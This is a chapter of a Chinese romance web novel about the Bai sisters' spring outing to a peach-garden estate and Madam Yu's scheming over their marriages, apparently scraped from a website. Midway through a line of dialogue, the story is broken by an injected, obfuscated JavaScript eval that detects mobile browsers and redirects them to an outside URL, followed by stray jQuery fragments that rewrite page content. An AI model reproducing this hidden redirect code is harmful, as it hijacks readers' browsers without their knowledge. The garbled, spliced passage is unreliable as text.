48. 一溪春水一戏红尘

作品:《春闺散晚香

    船厢内又一阵沉寂,四人索性都各自朝外看去。柏瑶颇感无趣,独自起身,掀开帘子走到船头,船只在山溪上有些摇摇晃晃,她立在船头,本就不通水性,此时只觉晃动愈发明显,便忙扶住门框,前头船娘见状笑道:“姑娘去里头坐着吧,外头有些山风,仔细站不稳。”


    柏瑶也不言语,只冲她笑了一笑,仍立在风口,极目远望,溪下山谷间桃花遍野,绿意拂过山峦。上巳节本是年轻女孩子们最期盼的日子,在一年年的春日里盼那桃花盛开,姑娘们便在花野朝云间悄悄长大,如同等待花开的枝丫慢慢含上红晕的生气,日子仿佛也只有那般乐陶陶的光景,她哪能料想到京中第一个上巳节竟是这般,思及闲心无忧的过往,竟恍如隔世。柏瑶扯扯嘴角,垂下头去,船下水波粼粼,那水一股荡过一波去,被石头割开各样形状,清而秀,寒而肃,她心中倒愈发迷茫起来,过去如何,与柏越同音共律,与范子岕两小无猜;现在如何,一个相顾无言,一个杳无音信;待到将来又如何?原来人生天地间,也如同这水流一般,哪能事事如常,不过随着满地的石头,它划了哪条道,这水便只能走哪条道,半点由不得自己。


    柏瑶任思绪惘然弥漫,正恍惚间,忽听那船娘又笑道:“姑娘还是进去吧,要进山洞了,里头狭小,别不小心碰着姑娘!”


    柏瑶闻言才回神,抬头一瞧,见船行早已转过几个弯,前方不知何时出现了一个山洞,掩去了满山桃花的盛景,溪水叮叮咚咚流进洞里,那洞口不大,勉力能通过一只小船。她不再逞强,忙下了船头,走进船厢,见里头几人都瞧她,只好笑了一笑,复又坐回原处。柏越柏瑶二人皆看她入座,都是不知说些什么的神色,只柏珊道:“瑶姐姐方才出去,外头风景可好?”


    “左不过是山、水、树、花这些,自然瞧着比船厢里头开阔些,其余也大致相仿。”


    柏珊见船厢内光线暗了下来,又掀起帘子,见外头已经进了山洞,黑漆漆的,笑道:“这会子想看也看不到了,进了山洞,什么都瞧不见,谁知道水里头有什么,洞里头有什么,怪吓人的。”


    外头船娘朗声道:“姑娘们不必害怕,这段山洞本不是天然山洞,是我们府里头拿石头搭出来的,里头就是干干净净的溪水,前几日我们还来专程收拾过。原也不长,一炷香工夫便出去了。”


    柏珊道:“船厢哪处有蜡烛?”


    船娘道:“姑娘往后头角落里摸摸,那里有个木头箱子,里头有蜡烛和火折子。”


    柏珊依言去寻,果然找到一截蜡烛,小心点上,船厢里亮起一道小小的暖黄光线来。船又行了一小段,那船娘道:“姑娘们瞧,到出口了。”


    柏珊忙忙地掀开前头帘子,果然见远远儿有些光线,船娘拿竹竿巧力一支,船转了个弯,前方豁然开朗,日光明亮。船随溪流漂进一片和缓的草地间,岸上许多侍女正端着托盘走动,皆是同样装束,梳着螺髻,穿着粉红团花曳地裙,如同桃花仙子般穿梭在芳草地上,来来往往,惹人欢喜。


    张夫人正在前头草厅里等她们,柏珊快步下了船,柏瑶柏琼柏越跟在后头,一行人见了面,方同乘了软轿,往桃林深处去了。


    此地果然是仿着桃花源造景,几人下了轿,便见桃花林围着里头一处草地,入口处一个竹竿挑着酒幌,上头写了“桃源村”三字。迈步进去,里头数楹茅屋,外绕桃枝青篱,其间分畦列亩,种着各样菜蔬,取田园朴拙之意。几人一行走来一行叹,被侍女引入茆堂,里面木榻纸窗,榻上雕了桃枝栖雀,窗上画了武陵春色,花几上几支粉红碧桃,四处情形,皆是“桃之夭夭,灼灼其华。”


    绕过一道竹编隔扇,便见一位身着绛地彩云金蟒纹妆花裙的贵妇人正坐在堂中素木太师椅上,一旁站着的正是盛沅,一身藕粉勾莲云锦裙,越发显得仪态万方。见他们进来,那贵妇人率先笑道:“张夫人来了,快请上座。”


    听她语气熟稔,底下四个姑娘便都知道这应当是盛府虞夫人,也是虞岚虞思瑾二人的姑母,果然张夫人笑道:“虞夫人瞧着风采更胜往日。”


    虞夫人笑道:“承你吉言,只盼少些烦心事才好。”


    张夫人道:“夫人如今正是鲜花着锦、烈火烹油,还哪里有烦心事?”


    虞夫人闻言淡淡一笑,并不应话,只抬眼望向张夫人后头几个姑娘,张夫人见状忙叫几个姑娘上前见礼,一时柏琼柏越柏瑶柏珊四个都来与虞夫人请了安。


    虞夫人见四个姑娘都是素雅打扮,自然知道她们是为着孝期,细细瞧过去,为首的柏琼穿一身藕荷重莲交领襦裙,只在袖口、领口绣了各样兰花,头上戴了珍珠漆纱兰花冠,鬓边两柄珍珠九孔排簪,静静立在堂下,只觉端庄娴雅;后头柏越梳了垂云髻,上头佩了一支素银刻桃花纹偏凤簪,穿一身湖水绿竹叶桃花暗纹对襟裙,外罩月白刺桃花对襟褙子,素色淹了荣色,反而颇有几分冷清飘逸;一旁柏瑶一身品蓝海水卷云纹大袖衫,底下一截月白海水纹百迭裙,梳了堕马髻,只簪了月牙流苏钗,耳边两只银铃耳铛,腕上一只海水纹银镯子,偏显出几分灵动婉约来;柏珊一件天青海棠纹立领长衫,外罩品蓝色比甲,底下一件马面裙,头上带着烧蓝桃花冠,瞧着珊珊可爱。


    虞夫人笑道,“珊儿长大了,瞧着不像小孩儿了!”又看向柏琼柏越柏瑶,“早先便知道你家这几位姑娘来了京城,只是不曾细细瞧过,菊宴那会我略一打眼便知道都是好姑娘。从前我还说你家璎姑娘珞姑娘珊姑娘便是顶好的了,如今细细一看,眼见这几个姑娘也个个不俗,把我们家沅儿比下去了,叫我看了好生羡慕。”


    张夫人忙道:“先前那么多次宴会,没叫她们来与夫人请安,实在无礼。”


    盛沅笑道:“母亲这话说的,那叫我和柏家几位妹妹换一换,我去柏家做姑娘,几位妹妹来我家!”


    张夫人忙敛眉笑道:“沅姑娘这般风姿,是夫人抬举我家姑娘们,倘或沅姑娘来我家,我们可要奉若珍宝,来了便不还回去了!”


    虞夫人又笑起来,朝几个姑娘看过去,见她们眉宇间一片松快,却丝毫不见轻佻,皆是稳重模样,心里头高兴起来,冲盛沅道:“沅儿带妹妹们去林子里头玩一回。”


    柏琼道:“不劳烦姐姐,我们自个儿玩便是。”


    盛沅笑道:“哪里劳烦了?我也要去林子里,只是这桃林


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841168|184636||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    大,除了珊儿,你们三位都是头一回来,有我领着,也不容易迷路。”


    柏珊果然笑道:“我去岁来见桃花开得好,独自往林子里多走了几步,差点忘了回来的路,还好遇见府上侍女,领着我出来了。”


    柏琼柏越柏瑶一听,也不再推辞,都向盛沅道谢起来。


    待几位姑娘出去,虞夫人朝一旁的丫头使个眼色,那丫头便到门口候着去了,虞夫人低头摸摸寸长指甲,看向张夫人,压低声音缓缓道:“今日璎儿珞儿没来,我听着珞儿和我那侄儿的婚事要往后推推?”


    张夫人心下疑惑,柏珞与虞岚的婚事早已说定,虞夫人自然知晓,如何现在又问了起来?只是大房的事情她也不敢多说,只好道声是。


    虞夫人不知看出她的心思没有,仍然边摸着指甲边慢悠悠道:“不知来了的这几位姑娘婚事可有耽搁?”


    “耽搁自然不曾耽搁,不过为着规矩,也得等过了今年。”


    虞夫人闻言似有所思,又道:“几位姑娘都不曾定亲?”


    “是,我和老爷都愁得跟什么似的,珊儿还小,还能再等等,琼儿越儿和瑶儿都该定了。我听着前儿老爷说大老爷似是给越儿瞧下了一桩亲事,只是还不曾言明,我还想着依着长幼有序,也该先说给琼儿的。”


    虞夫人暗自遗憾一番,心道下手太迟,只好笑道:“你这是哪里话,也太迂腐了些!要说给越儿,自然是人家瞧上了越儿,我本也有桩好亲事想着你家越姑娘,既有了人家,那便问问你家瑶姑娘吧!”


    张夫人本要应承,却忽地反应过来几分,心下掂掇起来,只不知为何独独掠过柏琼,思量一番,还是奉承笑道:“夫人瞧得上我家瑶儿,自然是她的造化,只是我们家里头还想着先给琼儿……”


    话还未说完,张夫人便见虞夫人脸上似笑非笑,也不看她,自己又低了头去摸那红艳艳的指甲,张夫人实在摸不着头脑,干笑两声:“想着先给琼儿定下来,再说妹妹们的事情。越儿那不是她大伯父的想头么,也还没个准信儿呢!”


    虞夫人笑了一声:“我们家跟柏家也沾亲带故的,夫人跟我玩什么心眼?谁不知道你家柏琼是要进太子府的人,谁敢给她说亲?”


    张夫人心里“轰”地一声,满心疑惑,心中只道这事儿哪里叫她知道?何况早便结了案,怎么又来作此怪话!她磕磕绊绊笑道:“什么太子府……这都是没影的事情。我家琼儿自然也是要说亲的……”


    此时倘或江夫人或王素连在,自然不会叫虞夫人言语糊弄过去,但张夫人少与人打交道,又兼平素便柔弱些,此时寥寥几句更无气魄,反叫虞夫人打趣道:“夫人,这皇家,只有他不要你的份儿,哪有你不要他的份儿?一旦沾上,自然叫他们划了地盘去!”


    张夫人只觉浑身发冷,不知说些什么才好,待要反驳,却哪敢说皇家的不是,口中只道些诸如“不曾有……”之类的话,心下想着要快些归家去与柏二老爷商量此事。虞夫人见她模样,心中一哂,又道:“你家姑娘们横竖都要说亲,瑶儿的事你也别急着推辞,我这里有个顶好的人家,先问问你们家的意思,你们回去商量一番再议也不迟。”